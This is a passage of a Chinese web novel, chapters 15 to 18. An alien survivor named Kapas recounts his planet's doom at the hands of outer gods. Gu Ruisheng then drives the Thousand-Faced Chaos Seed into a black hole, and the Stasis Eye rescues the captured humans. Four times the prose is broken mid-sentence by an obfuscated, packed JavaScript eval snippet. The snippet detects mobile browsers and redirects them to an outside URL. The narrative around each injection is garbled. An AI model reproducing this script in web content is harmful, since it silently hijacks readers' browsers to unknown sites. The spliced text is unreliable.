在他们的印象里,从十三年前开始,只要和影子扯上关系的没一个好东西。 对方也发现了这点,真诚地向他们道歉,“【放轻松,我不是你的敌人。】” “【如果偏要说的话……】” 他偏头,眼神在几人身上扫视了一遍,最后定定地注视着严卓,“【我是个被卷入不属于自己世界的可怜虫。】” 严卓面无表情地和他对视。 那人也不知道从严卓的眼睛里看见了什么,很快笑了一下,移开了视线。 “【自我介绍一下,这里是原喀帕斯行星的旧址,你们叫我喀帕斯就好,反正我大概是世界上最后一个喀帕斯星人。】” 说到这里,他停顿了一下,“【考虑到我现在的状态,你当我是半个也行。】” 程老立刻追问:“你现在是什么状态?” 因为时间紧迫,所以为了抓紧时间,即使程老已经尽量缓和语气,这对话也算得上是冒犯。 不过对方并没有生气,嘠帕指了指自己的脚下,解释道:“【如你们所见,我现在严格来说其实已经成为了那家伙的一部分,只是因为某些原因暂时保留了自己的理智。】” 程老没有被糊弄过去,“那么你说的‘某些原因’具体是什么原因?” “【因为千面混沌之种不在乎,也因为圣髓曾经在乎过。】” 他笑了一下,“【实际上,你们还能保持理智,也是这个原因。】” 这话说的很引人遐想,没等众人进一步询问,喀帕斯突然问道:“【你们对圣髓了解多少?】” 当问出这个问题的时候,他虽然看似是问在场的所有人,但目光却落在了严卓身上。 严卓表情不变,“了解的足够多了。” “【我不这么认为。】” 喀帕斯又笑了一下,这次的笑容有些浮于表面,且与其说是为了缓和气氛,不如说是某种真情流露被中途强行掐断后得到的产物。 “【喀帕斯星历2035年,恒星卡娜正式步入老年状态,成为一颗红巨星,它的体积开始膨胀,亮度增加,预计两百万年后喀帕斯行星表面的平均温度会上升十度以上,变得不宜居住。】” “【意识到这点之后,我们开始倾尽所有进行地外研究,星历2981年终于建造出了速度够快的探索飞船,开启了大规模的星际探索。】” “【在这个阶段,由于对宇宙的不熟悉,我们牺牲了很多人,但有两艘飞船带回来了极其重要的情报。】” 所有人都屏住了呼吸,喀帕斯看着他们的模样,缓缓竖起两根手指,晃了晃第一根。 “【其中一艘叫嘎帕号,它在航行的途中偶遇了另一个文明,让我们第一次得知了外神的存在,并在回程汇报的途中切实接触到了一位,而且是从未被观测到过的一位。】” “【那是圣髓有史以来第一次被智慧文明观测到,和我们当时从其它文明中得到的消息不同,祂肉眼可见的懵懂,嘎帕号当时的船长力排众议,以静滞之瞳行踪难觅,错过即永失为由,说服了所有船员,在毫无准备的情况下与其进行了第一次接触。】” “【而这次接触,我们收获得比想象中要多得多,甚至一度怀疑宇宙中关于外神的情报是否属实。】” 他停顿了一下,像是在回忆些什么,“【我们发现圣髓是外神中完完全全的异类,祂当时像个新生儿,几乎没有被动的污染性,大概是因为外形相近,圣髓对嘎帕号上的船员表达出了极大的兴趣,甚至在我们试图与其沟通的时候展现出了一定程度的配合。】” 程老眼皮一跳,重复道:“因为外型相近?” 喀帕斯露出一个意味深长的笑容,“【是的,宇宙中的文明很多,但目前为止,我只见过我们两个文明和圣髓的外表相似到这种程度。】” 程老觉得对方这笑容背后的含义不太对劲,好像意有所指。 再加上最开始对方那颇有怨气的措辞,他隐约好像明白了什么。 严卓的注意力则在另一件事情上,“你刚刚说有两艘飞船带回来了重要信息,另一艘呢?” 喀帕斯看了他两眼,随后继续解释道:“【另一艘叫卡塔琪号,卡塔琪意味卡娜神,它解释了为什么恒星卡娜衰老得比应有的快得多。】” 说到这里,他停顿了很久,待所有人的表情都开始变得古怪,他才点点头,“【就是你们想象中的那样。】” 他轻踩了一下地面,踩在了自己的影子上的同时,也是在踩千面混沌之种的一部分。 “【祂当时,就在卡娜上。】” “【其实我们原本已经决定要进行星际移民了,虽然宜居星球并不好找,但当时我们以为自己有百万年的时间,在这段时间里,如果我们没有自然灭亡的话,想必就算没找到适合的星球,也能制造出足够在宇宙飞船中自给自足的内循环,也算是一线生机。】” “【但在得知卡娜并不是自然衰老之后,一切都不一样了。】” 他嘴角勾起一抹冷笑,“【我们试图提前施展星际移民计划,但祂很快发现了我们的目的,并顺手进行了阻拦。】” “【在那之后,我们所有派出去的星际飞船都会被污染,祂似乎打定主意要看我们在面对既定的死亡时会做什么反应。】” “【我们不缺乏勇气,也不是没想过反抗,但面对一个可以将恒星当做玩具的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074255|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪物,我们没有丝毫办法。】” 喀帕斯停顿了一下,表情有了微妙的变化,“【就在我们一筹莫展,只能原地等死的时候,有一件我们预料之外的事情发生了。】” “【那是星历3297年,我们与圣髓第一次接触的三百多年后,静滞之瞳和圣髓再度出现在了我们的观察范围内。】” “【当时圣髓的状态不知道为什么不太好,但由于初次接触时的友善,所以我们便冒险聚集了一艘探索船,想要和对方接触,祈求获得某种突破,而意外地,我们这次没有受到阻拦。】” “【我们随后发现,在短短三百年的时间里,圣髓成长得飞快,我们也发现了祂作为外神的特殊能力,并试着向祂祈求……】” “【而祂也回应了我们。】” 说到这里,他张开双臂,向所有人展示自己身后的世界,“【最终的结果如你们所见。】” 死寂一般的城市映入眼帘,从表面其实看不出什么明显的损害,就像那最终的、不知名的灾难在反应极限之前便带走了所有人。 当初的沉眠纪元如果来得更汹涌一些,应该也是差不多的效果。 在场的几人表情大多微妙了起来,喀帕斯见到这一幕,心底爬过一丝扭曲的快感,直到他的视线一路来到了严卓的那里,这个在他的感知中圣髓最关注的人身上,表情才有了一丝空白。 严卓并没有被煽动,眼神中甚至有一抹毫不掩饰的怜悯,“真可悲。” 喀帕斯:“【……你说什么?】” 严卓的语调镇静而平稳,“你想挑拨我们和圣髓之间的感情,却一直在叫他的名字。” “你是觉得他暂时没空理会我们,还是正相反,期待对方听见你叫他之后有所回应?” 喀帕斯的表情扭曲了一瞬间,他刚想说什么,突然被一个预料之外的声音打断。 “我终于听明白了。” 一直拧着眉头沉思,很久没有说话了的谢临川突然大叫出声,“你这不就是被抛弃之后去找爱人现任麻烦的怨夫吗!?” 喀帕斯:“…………” 严卓:“。” 这个总结让喀帕斯愣在了原地,他欲言又止半晌,道:“【我只是作为同病相怜的过来人,想让你们不要步我们的后尘而已。】” “【不要对祂们投注真正的感情,不然最终受伤的只会是你自己。】” 谢临川冲着他竖了一个中指。 由于文化差异,喀帕斯并没有看懂这个手势。 但他好像感受到了另一种在场所有人都没有感受到的变化。 他低头望着脚下的影子,几乎就在同一时刻,原本正站在他们四周、幽魂般的同胞好像动了一下,而几人的眼前好像也模糊地出现了一些画面。 “【你们不相信我说的也没关系。】” 隐约间,他们听见喀帕斯说。 “【祂会让你们看见真相的。】” “【圣髓到底是什么样的存在。】” 16.第 16 章 顾瑞生发现,千面混沌之种好像不想再进行时间跳转了。 那么这是为什么呢?因为祂也意识到了顾瑞生的计划吗? 这个念头在顾瑞生的脑海中划过,但他很快又否定了这个猜想。 以千面混沌之种的性格,如果顾瑞生有机会重返巅峰,对方只会觉得有趣,而不会阻拦。 所以一定是其他原因。 在顾瑞生思考的时候,千面混沌之种一直还在叨逼叨说个不停,没一句是他爱听的,也没一句是有用的。 意识到再拖下去也没用后,顾瑞生将视线投向了不远处的恒星卡娜,他闭眼调整了片刻,再睁开的时候,眼前的卡娜已经从虚假的红巨星变回那个已经比记忆中小了很多的白矮星。 这是他激千面混沌之种跳跃到这个地点的第二个原因。 千面混沌之种敏锐地感觉到了时空和能量的波动,但祂没有阻拦的意思,只是在一旁静静地看着。 在顾瑞生的眼中,那颗白矮星附近的“尘埃”开始像是被某种引力吸引一样,向那颗已经熄灭了的恒星聚集。 星体反常地增大变暗,眼睛如同失去了焦点,一切都暗了下去,所有的光线向内收束。 最终,一个黑色的球面吞噬了所有,时空被撕裂,新生的微型黑洞出现在众人的眼前。 白矮星和黑洞本来是恒星的两种平行的结果,彼此之间并不能互通,至少通常情况下是这样的。 想要打破这种隔阂,纵观宇宙中如星辰般众多的所有科技文明,有可能足够达成这种效果的屈指可数,而且无一不需要耗费相当的人力物力财力。 但对顾瑞生来说,这只是心念一动就能做到的事情。 他有时觉得自己无能为力,有时又会为自己能做到的事情感到心惊肉跳。 不过也许本该如此,因为破坏和保护,从来就不是一个难度。 顾瑞生掐着千面混沌之种向着黑洞移动,身为人类出身的外神,比起各种花里胡哨的能力,他更喜欢这种能落到实处的接触。 这能让顾瑞生感受到作为人类的压抑与暴力。 他盯着不远处的黑洞,周围的一切都在被逐渐吸入其中。 喀帕斯行星已经灭亡了,而现在他又毁了对方曾经生存的环境,一点不剩。 就像他亲手造成了它的第二次消亡。 顾瑞生自己也感受到了一股吸力,不算强,完全可以忽视,但他选择放任自己随波逐流。 黑洞不会伤及他或者千面混沌之种中任何一个的根本,但是能让他们在宇宙中迷路。 顾瑞生不知道自己和千面混沌之种会被扔到哪里,他只知道,地球在宇宙中的位置相当偏远。 能找回地球,并且找回去的时候地球上的时间和顾瑞生离开时相差不大已经是可能性无限接近于零的极小概率事件了,想再找回去第二次简直就是天方夜谭。 种种念头在顾瑞生的脑海中一闪而过,但这并没有影响他下手的力度越来越大。 千面混沌之种并没有挣扎,安静地任由顾瑞生将自己往黑洞里塞,只是身体的一部分缠着他的手臂,不让他全身而退。 这让顾瑞生觉得对方好像也并不排斥自己的做法。 实际上也确实如此。 顾瑞生不知道,地球上原本还剩下的那点人现在某种程度上全在千面混沌之种身上呢。 离了人类,对祂来说地球就是一个普普通通的泥巴星球,没什么特别的,离开就离开了。 祂不知道顾瑞生对待地球的态度是否和自己一样,但就之前的短暂交锋来看,千面混沌之种至少可以确认对方很在乎人类。 而现在祂最想做的,就是在祂们一起穿过虫洞之后,在面对完全陌生的宇宙时,在圣髓以为一切都告一段落的情况下,把自己带上的那群人类拿出来给对方看。 到时候圣髓脸上的表情一定会非常有趣。 千面混沌之种的视线同步地分享给了与祂“相连”的人类们,而人类们面对事情发展时潜意识的情绪则回馈给了千面混沌之种,让祂感到无比新奇,也让他知道怎样做能更好地戳中圣髓的痛处。 除了被千面混沌之种当情绪MOD加载的众多普通人之外,还有那么几个人保持了相对的理智,但这点理智在眼前这超出认知的画面下也显得那么无用,只有抑制不住的震撼响彻灵魂。 那是对纯粹力量的震撼,就像人们面对海啸或者飓风,山川或者瀑布,有的人会心生恐惧,而有的人…… 有的人会从中品出一丝美感。 严卓眼睛一眨不眨地盯着顾瑞生,千面混沌之种没有眼睛这种东西,祂的视线是三百六十五度全方位的,以人类的习性第一眼可能不太适应,但严卓很快便体验到了不属于人类视角下能感受到的独特细节。 他能看见顾瑞生在下定决心之后坚毅的表情,起伏的胸膛,手背上因为用力而暴起的青筋。 严卓能意识到这具由文字组成的身躯是多么地鲜活,所有的一切都是顾瑞生坚持的证明。 这一刻,他的思想和千面混沌之种同步了。 严卓意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076915|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了众人的现状会对顾瑞生造成怎样的伤害。 他不想看见这个未来发生。 和已经基本认命了的同伴们不同,下意识地,严卓试图做些什么。 他望向了自己的脚下。 眼下他们所有人的脚下都和喀帕斯一样,被影子环绕,唯一的区别是喀帕斯和其它失去神智的人看上去和影子交融得更深,而严卓他们附近的影子虽然也和他们有接触,但总是一触即离,无法深入。 如果千面混沌之种可以靠着这些影响他们,那么严卓能不能通过这个链接,反向影响对方? 这是一个疯狂的想法,人类与外神之间的差距可想而知,但严卓心底莫名有一种预感,他觉得事情最终的发展会出乎自己的预料。 严卓缓缓蹲下身,伸手想触摸那黑影,黑影像是感觉到了什么排斥一般凹陷,躲避着他的动作。 严卓知道这来自顾瑞生的保护,但他可能要让对方失望了。 喀帕斯捕捉到了严卓的动作,在看见黑泥主动避让时,他的表情扭曲了一瞬,但很快在发现严卓要干什么之后,喀帕斯的嘴角勾起一抹讽刺的微笑,没说什么。 在触碰到黑泥的那一瞬间,严卓感觉自己的视角好像又发生了转变。 这次他的视角更加清晰。 离黑洞越近,引力效应越强,严卓能看见顾瑞生身上开始逸散出细小的光点。 他感觉自己现在的状态不太好形容,像是漂泊在了更高一层的境地,严卓的视角变得奇怪,眼前的景象似乎变成了一帧帧的图画,只有眼前的顾瑞生保持着独一无二的模样,果断又决绝,星辰与曦光环绕,悲悯与威严共存。 美得惊人。 不知是不是感受到严卓的视线,顾瑞生回望了过来。 这短暂的眼神接触让严卓精神恍惚了一瞬,不知发生了什么,从顾瑞生身上散溢的光点突然越来越多,并随后,在所有人意外的注视下,逐渐汇聚到了一起,形成了一个高大的人型。 那人披着斗篷,完全看不清脸,体型的差距足够祂将顾瑞生整个人拢在怀里。 顾瑞生和千面混沌之种好像都因为祂的意外出现有些愣神,而祂也趁着这个机会,将两者彻底分开,并添了一把火,一边拉着顾瑞生远离黑洞,一边还踹了千面混沌之种一脚。 严卓的视线一开始依旧跟着千面混沌之种,但一个愣神的功夫,不知怎么的,他便和其它人类一起被祂抓进手心。 不知道是不是严卓的错觉。 他觉得对方好像还看了自己一眼。 17.第 17 章 顾瑞生不太记得自己是怎么“回”到地球的。 不存在的心脏剧烈跳动着,揽在腰间的手触感很奇怪,柔软却冷冰,但顾瑞生低头望去的时候,看到的却是与人类相近的皮肤质感。 甚至比他自己的更像。 能量的流动告诉他,这个新出现的陌生外神就是静滞之瞳,但两者的差距实在太大,即使是顾瑞生都要愣上半晌。 静滞之瞳不该是个三棍子打不出一个响屁的大眼珠子吗? 这个人模人样的家伙是谁啊? 而且祂是从哪里冒出来的,是之前一直藏在自己的身体里吗? 静滞之瞳趁着顾瑞生愣神的功夫看向自己的另一只手,那上面还抓着地球上剩下的人类。 经过千面混沌之种的洗礼,人类的状态都不是很好。 静滞之瞳陷入了沉思,祂不是很清楚该怎么处理他们。 在短暂的思考后,祂手臂用力,将顾瑞生更深地搂入怀中,同时在对方挣扎之前,把另一只手上的人类展示给对方看。 顾瑞生果然被吸引了注意力,不再挣扎。 虽然一开始确实不知道千面混沌之种绑架了人类的事情,但顾瑞生看见了后面静滞之瞳将对方塞进黑洞前的小动作,结合现在人类的状态,立刻便想明白到底发生了什么,心底一阵后怕。 尤其虽然千面混沌之种手下留情,没让所有人当场疯狂,但看上去也没太上心,大部分已经有了从碳基生物转向能量生命体的倾向,此时正在静滞之瞳手中错位的空间里一个叠着一个,还微微冒着黑烟。 这看上去像是进化的开端,但就算抛开前面混沌之种的权柄属性不提,如此突然的变化对人类来说可不是什么好事。 单个人类的能量太过微弱,在不得要法的情况下,很快便会自然消散在空气中。 就在顾瑞生检查着人们状态的时候,毫无预兆的,他和人群中仍旧清醒着的严卓对上了视线。 这注视让他想起了之前和千面混沌之种对峙时瞬间的心悸。 顾瑞生先是检查了对方的状态,自己的能量仍旧保护着对方,确认严卓还是完整的人类后,他才松了口气,慢吞吞地望向对方的眼睛。 大家都说眼神能传递很多东西,但那从来不是顾瑞生的长项。那一瞬间,他直觉严卓眼神中的感情没有变化,但顾瑞生又知道,确实有什么变了。 还没等顾瑞生仔细研究,突然,静滞之瞳手掌一翻,甩了一下。 顾瑞生:“…………?” 尚未酝酿好的情绪卡在胸膛,顾瑞生恍惚间好像看见空中划过一道靓丽的线条。 他缓缓低头,之前和顾瑞生一起出行的九个人中缺了一个,剩下的此时都瘫坐在地上,大部分仍旧在适应,只有严卓好像受影响不大,愤愤不平地将视线转移到了静滞之瞳身上。 直视静滞之瞳久了没什么好处,剩下的人类也急需要处理,顾瑞生强迫自己扭头,将注意力集中到正事上。 他伸手想接过人类们进行下一步动作,但静滞之瞳好像又回到了原本那个不通人性的状态,顾瑞生明示暗示了好几次都没有反应,只是懵懂地看着自己。 说是看着,但其实只是一种感觉,静滞之瞳身上的袍子将祂的脸盖得严严实实。 从物理学的角度,稍微矮上一些的顾瑞生应该至少能看见对方的鼻子,但实际上他却连对方的下巴都只能勉强看见一个弧度。 这证明静滞之瞳在自己的脸上也施展了某种能力,推测出这点之后,顾瑞生的表情有些古怪。 一边思考着静滞之瞳异常背后的缘由,顾瑞生一边干脆将自己的手搭在对方的上,闭上眼。 一缕缕黑气从人类们的身上蒸腾而出。 顾瑞生尽可能小心地处理了,但根据被污染程度的不同,大部分都不能完全清除,只能暂时压制。 顾瑞生能感觉到自己的力量在渐渐被消耗,最后几乎是靠着身后静滞之瞳的支撑才没直接滑到地上。 他微微抬眼望向身后,静滞之瞳与他对视了一会,缓缓抬手。 一颗颗萤火虫般的星光自祂手心中飘起,被突兀打断生活的人类们就这么被一个个送了回去。 他们完全不会记得具体发生了什么事情,最多只是有模糊的感觉,包括连自己身上的异变可能都需要在未来的生活中渐渐探寻。 做完这一切后顾瑞生低头,正要收回原本附着在严卓他们身上的能量,结果却看见了意料之外的发展,动作一顿。 湖泊中原本的能量都被千面混沌之种聚集在一起组成自己身体的一部分了,如今回归了最初的模样,而之前被顾瑞生抛弃了的肉身也极其巧合地被冲到了岸边,此时正被程老抢救着。 这点能量竟然没被来者不拒的千面混沌之种直接吞了。 严卓沉默的站在一旁,盯着失去灵魂后看着仍旧鲜活却失去呼吸的肉身,又时不时回头望向顾瑞生,好像有些没弄懂现在到底发生了什么。 顾瑞生犹豫了一下。 这次暴露和他原本预想中有些不同,他不太确定其他人接下来面对自己会是什么态度,也不知道即将到来的转变是好的还是坏的。 就这么和严卓他们划清界限……好像也是个选择。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087598|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>静滯之瞳低头看了他一眼,略过顾瑞生,伸手探向程老他们的位置。 顾瑞生悚然一惊,拉住静滯之瞳的胳膊,但在那之前,程老几人身上无形的能量便犹如被指引一般,从他们的身上脱离,而顾瑞生之前分出去的那缕意识也在在场人类看不见的情况下,在对方的牵引中,回到了那具肉身上。 正在做心肺复苏的程老动作突然一顿,感觉到“顾瑞生”突然开始起伏的胸膛,而顾瑞生本人眼前出现了第二个视野。 他停顿了一下,扭头,望向静滯之瞳。 对方依旧沉默寡言,但行动力却强得出奇。 现在的情况被暂时缓和,以后顾瑞生再想解释,往那边讲都说得通。 达成目的之后,静滯之瞳的身体开始渐渐变淡,像是消解在了空气中。 顾瑞生本想抓着对方好好问清楚到底是怎么回事,但可能是太累了,顾瑞生的意识也逐渐变得混沌,只能下次再说。 他强撑着和之前分离的意识融合,机械地眨了眨眼,好像有人和他说了什么,他胡乱地回复了一些没有意义的音节,随后听着耳边心跳的声音,沉沉睡了过去。 程老看着严卓怀里的顾瑞生,回头又扫视了一下其他同伴,拍板定论,“总之我们先找个落脚的地方吧,今天发生的事情太多了。” 其他人都没有意见,互相搀扶着起身。 严卓将顾瑞生横抱起来,刚要跟上,结果好像感觉到了什么似的,猛地扭头。 空旷无人的街道上一片死寂,连个人影都没有。 程老皱眉,“怎么了?” 严卓盯着街道的拐角处又看了一阵,才慢吞吞地说道:“我觉得好像有东西在看我。” 程老脸色一变,催促严卓加快动作。 他们现在一群老弱病残,可没有任何抵御风险的能力。 而待他们走后,一个大概只有巴掌大的,和顾瑞生记忆中一模一样的静滞之瞳凭空出现在他们原本站立的位置附近,一个披着斗篷等比缩小的人偶悬浮在祂的旁边。 静滞之瞳看了看严卓远去的背影,又看了看身边的小人。 此时的小人身上没有被施展能力,五官彻底暴露在空气之中。 它长得和严卓十分相似,只是看上去又一丝违和,这种违和就像伪人和人类的区别,具体说不上来,但一眼就能发现。 在静滞之瞳的注视下,小人的五官发生了细微的变化,但因不得要领,最后的成果显得无比诡异。 静滞之瞳看看小人,又看看严卓离去的背影,视线如此重复多次,随后缓缓、缓缓地眯起了眼睛。 18.第 18 章 顾瑞生再睁开眼睛,已经是第三天的下午。 他仍然觉得十分疲惫,只是睁眼便好像用尽了全力。 但他肚子饿了。 细微的咕噜咕噜的声音隐隐传来,食欲和睡眠欲两大人类最原始的欲望在顾瑞生的体内打架。 他翻了个身,脸朝下俯卧着,饥饿感稍稍减退,就是有点喘不过气。 身下的布料不算太光滑,不像被褥的触感,有点磨脸,顾瑞生闭着眼蹭着感受了下,随后听见头顶传来一阵轻笑。 动作突然顿住,他抬头,看见严卓正端着碗筷站在一旁,眼底的笑意还未消散。 顾瑞生慢吞吞地环视四周,发现自己正身处一个不知名的小餐馆,两张桌子被并到一起充当床铺,上面铺着眼熟的衣物,好像是严卓穿过的。 他两手撑桌,缓缓起身,最终在桌边正襟危坐。 严卓将手中的碗筷向前递了递。 那碗筷有些陌生,像是从他们现在落脚的小餐馆就地取材的,碗底还印着餐馆的logo。 严卓注意到了顾瑞生的视线,解释说是之前因为情况紧急,大家撤退的之后都只来得及拿最重要的东西,而占地面积大还难以携带的铁锅没有被计算在内,所以现在只能就地取材。 他还笑着说程老早就看他那口锅不顺眼了,这下终于如愿了。 顾瑞生低头。 碗中是热腾腾的白粥,好像是熬煮了很久,很稠,没加什么其它的东西,闻着有股纯粹的米香。 他接过后慢慢喝了了一口,随后询问起了其他人的情况。 没等严卓回答,他又立刻打断对方:“不,先不用告诉我,我一会自己去看。” 说完顾瑞生用一种壮士一去不复返的心态斯哈斯哈地干完了热粥,之后拿着新出炉的空碗当台阶出门盛粥去了。 出了小餐馆的门,顾瑞生便 看见了不远处的火堆,上面架着一顶银白色的高压锅,只是底部被火烧的灰黑。 几个人围着火堆坐着,顾瑞生脚步猛地一顿,迟疑了一下,在心底将人数了一遍又一遍。 一、二、三……? “……” 顾瑞生揉了揉眼睛,又数了一遍。 一、二…… 三? 不是。 怎么就只剩这点了?? 顾瑞生大惊失色。 此时的火堆旁竟然只剩下程老、苏行止和谢临川三个人围坐在一起,周围零散地摆放着一两个包裹,不是顾瑞生熟悉的那几个,应该是在他昏迷的时候,大家重新收集的物资。 所以不在现场的那四位是恰巧出去拾荒去了……? 就在顾瑞生压住短暂的混乱,努力思考的时候,严卓的声音从身后传来。 “你昏迷了两天,第二天我们其他人休息一夜后状态已经简单调理过来了,程老就做主让其它几人先走一步了。” 顾瑞生的脑海里闪过了很多念头,没等其中任何一个发酵,严卓的解释就来了:“主要是因为他们接下来和我们不顺路。” 顾瑞生:“……?” 严卓解释道,是的,剩下那四个都不是他们基地的人。 有他们这种无组织无纪律全凭良心的民间基地,自然也会有更加系统化的正经基地,比如总结小册子上内容的那些。 顾瑞生一开始不认识的那五人原本就来自那种正经基地,是听说程老他们这边有新的情报,所以主动过来帮忙的,出任务前的准备时间,也主要是因为那几个人的基地离得远,当时还在路上。 如今事情的发展远超预期,几人聚在一起讨论了一阵,决定先尽快查看一下其它普通人现在的情况。 “他们说他们很抱歉自己没能等你醒了之后再行动。” 严卓停顿了一下,道,“他们还让我帮忙带一句谢谢。” 顾瑞生沉默半晌,“哦”了一声。 在原地又站了一会,随后他转身,给自己盛了一碗粥,并十分自然地顺势围着火堆坐下。 程老趁着顾瑞生坐下之前在他屁股底下塞了个背包当垫子,谢临川往他的碗里插了两根三文鱼冻干,又掏出一小袋方便面调料,均匀地撒在白粥上。 顾瑞生陷入了沉思。 怎么哪里不对劲。 心底的感觉好熟悉,好像不久之前才经历过。 他抬头,正巧苏行止也在看他。 顾瑞生:“…………” 一时间,他的心情很是复杂。 他醒晚了。 之前的小巧思没用上,大家已经帮他做完选择了。 顾瑞生醒后他们又休整了一晚上,第二天才重新出发,但当时郑师傅在完全不堵车的情况下,都开了差不多五个小时的时间,恰算一下,靠走的话差不多要走半个月。 算出这个数字的时候,顾瑞生没什么感觉,第一天出发,在徒步六个小时之后,他还能嘴硬说上两句“不过如此”,但随着徒步的时间越来越长,后来的几天,每次休息的时候,他都只能瘫坐在地上,目光呆滞,两股战战,努力回想着之前面对千面混沌之种时的愤怒,试图以此重新激起力量半身的回应。 虽然他的半身早就缩了不少,但区区几百公里,一眨眼就到了。 不过顾瑞生不会那么做的,他会走一步就坐下歇歇,看着剩下的人赶路,等他们追上以为自己可以休息一阵的时候,自己就再次出发,如此反复。 这样才能解顾瑞生此时的心头之恨。 但无论顾瑞生如何努力,他都没能如愿调动自己的力量。 这具肉.身就像是一个密不透风的屏障一样隔离了他和他的半身。 顾瑞生现在怀疑这是静滞之瞳搞的鬼,但他既没有证据,也抓不对对方。 所以他目前唯一的复仇计划,便只剩在严卓拉他起身的时候使劲拽对方一把。 严卓的重心很稳,眼睛都没眨一下,他的外套在徒步两小时后便脱下系在腰间,袖子上挽,顾瑞生这才发现对方手臂上有线条流畅的肌肉,足够拉起整个人的重量。 顾瑞生只是瞥了一眼便移开了视线,道了声谢,随后离开去收拾今天休息的地方去了。 严卓目送着顾瑞生离开,谢临川不知什么时候来到了他的身后,像地下党接头一样,压低声音小声道:“怎么样?他什么反应?” 在谁也看不见的空间,缩小版的静滞之瞳正飘在顾瑞生的身边。 祂本想随着顾瑞生一起离开,但祂敏锐的感官听见了谢临川的话。 在短暂的思考之后,静滞之瞳一分为二,一部分跟着顾瑞生继续离开,而另一部分则飘了回去,并拿出祂捏的小人。 严卓回忆了一下:“好像没什么特别的反应。” 谢临川紧蹙着眉,满脸深沉。 其实和顾瑞生预想般的不太相同,谢临川他们几人这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098241|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次没有特殊的反应,并不是因为他们不信任顾瑞生,而是单纯的因为不知道该做出什么反应比较好,所以干脆以不变应万变。 反正谢临川是这样的。 而其他人无论心理是怎么想的,最后表现出来也是一样的。 谢临川知道自己不是很聪明,所以为了不拖后腿,在观察到剩下三位广义上的聪明人都做出了和自己一样的选择后,便果断停止了思考。 但就顾瑞生醒后的第一反应来看,谢临川感觉对方好像不太高兴。 于是他找到程老试图问清其中的原因。 程老当时好像在和苏教授谈论着什么,神情有些严肃,谢临川觉得那两人正散发着一股自己无法融入的氛围。 他将其称之为学历壁垒。 谢临川在短暂的思考之后,打算先打道回府,过一会再来,结果回去的路上,正巧遇上了同样因为顾瑞生的反应而忧心忡忡的严卓。 那一瞬间,谢临川的脑海里闪过了两人间的相处,和严卓曾经品读过的某本书。 在简单的沟通后,两人一拍即合,打算想办法哄顾瑞生开心。 然后谢临川的第一个想法是色诱。 但凡严卓入世稍微再深一点点,他都会意识到对方的提议,包括谢临川这整个人,都不够靠谱。 但严卓没有,并且两天前,他刚被顾瑞生本人暗示幼稚。 所以他信了,并付出了实践。 谢临川沉吟,“没什么反应的话,那……他可能是不喜欢。” 严卓垂下了眼,静滞之瞳则直接将小人的胳膊从身体上扯下扔掉,随后拿着断臂的小人继续倾听谢临川的“高见”。 谢临川试着分析:“之前他曾经说过你是他喜欢的类型,你当时是什么打扮?” 严卓老实回答:“普通的衬衫,和现在差不多。” 谢临川上下打量了他两眼,“那也许他时喜欢冷酷冰山型的,这样,你以后好好穿衣服,扣子都扣到最高,端着点,之后等下次我们遇见大型商场的时候,我给你找个半框金边眼镜,你戴上试试效果。” 严卓点了点头,静滯之瞳不知道半框金边眼镜是什么,但祂凭借着自己的理解,给小人的额头处加了个半阖的金色眼睛。 谢临川还想说点什么,但这时程老找了上来,他说有人找上了他们。 说到这里,程老沉默了两秒,表情有些微妙,“而且他们的状态不太对劲。” 严卓和谢临川跟上去一看,也陷入了沉默。 那是一群年轻人,反推回去,沉眠纪元降临之前,应该都没来得及完成义务教育。 谢临川大胆地推测这些人的水平应该和自己处于同一级别。 此时这群年轻人的领袖正在审问谢临川。 离得越近,两边的对话便越清晰,程老之前脸上的迷惑便也有了解释。 年轻的领头叉着腰,大声质问:“你好好说,你是哪边的!” 苏教授面无表情:“我是圣髓这边的。” “谁允许你直呼其名了!要叫陛下!” “……圣髓陛下?” “对!大点声!” “……” 现场陷入了一阵诡异的沉寂,严卓没忍住侧头去找顾瑞生。 